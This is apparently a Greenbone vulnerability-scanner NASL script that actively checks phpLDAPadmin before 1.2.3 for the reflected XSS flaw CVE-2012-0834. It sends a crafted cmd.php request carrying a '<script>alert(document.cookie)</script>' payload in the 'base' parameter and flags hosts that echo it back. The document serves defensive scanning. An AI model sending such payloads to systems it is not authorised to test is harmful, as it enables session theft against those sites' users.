phpLDAPadmin < 1.2.3 XSS Vulnerability - Active Check

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:phpldapadmin_project:phpldapadmin";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802602");
  script_version("2024-12-24T05:05:31+0000");
  script_tag(name:"last_modification", value:"2024-12-24 05:05:31 +0000 (Tue, 24 Dec 2024)");
  script_tag(name:"creation_date", value:"2012-02-02 16:16:16 +0530 (Thu, 02 Feb 2012)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");

  script_cve_id("CVE-2012-0834");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("phpLDAPadmin < 1.2.3 XSS Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_phpldapadmin_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("phpldapadmin/http/detected");

  script_tag(name:"summary", value:"phpLDAPadmin is prone to a cross-site scripting (XSS)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The flaw is due to improper validation of user-supplied input
  to the 'base' parameter in 'cmd.php', which allows attackers to execute arbitrary HTML and script
  code in a user's browser session in the context of an affected site.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to insert
  arbitrary HTML and script code, which will be executed in a user's browser session in the context
  of an affected site.");

  script_tag(name:"affected", value:"phpLDAPadmin version 1.2.2 and probably prior.");

  script_tag(name:"solution", value:"Update to version 1.2.3 or later.");

  script_xref(name:"URL", value:"http://secunia.com/advisories/47852/");
  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2012/Feb/5");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/109329/phpldapadmin-xss.txt");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/51793");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/521450");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

req = http_get(port: port, item: dir + "/index.php");
res = http_keepalive_send_recv(port: port, data: req);

cookie = eregmatch(pattern: "Set-Cookie\s*:\s*([^;]*);", string: res);
if (isnull(cookie[1]))
  exit(0);

url = dir + "/cmd.php?cmd=query_engine&server_id=1&query=none&format=list&showresults=na&base=" +
      "<script>alert(document.cookie)</script>&scope=sub&filter=objectClass%3D*&display_attrs=" +
      "cn%2C+sn%2C+uid%2C+postalAddress%2C+telephoneNumber&orderby=&size_limit=50&search=Search";

headers = make_array("Cookie", cookie[1]);

req = http_get_req(port: port, url: url, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);

if (res =~ "^HTTP/1\.[01] 200" && "><script>alert(document.cookie)</script>" >< res) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);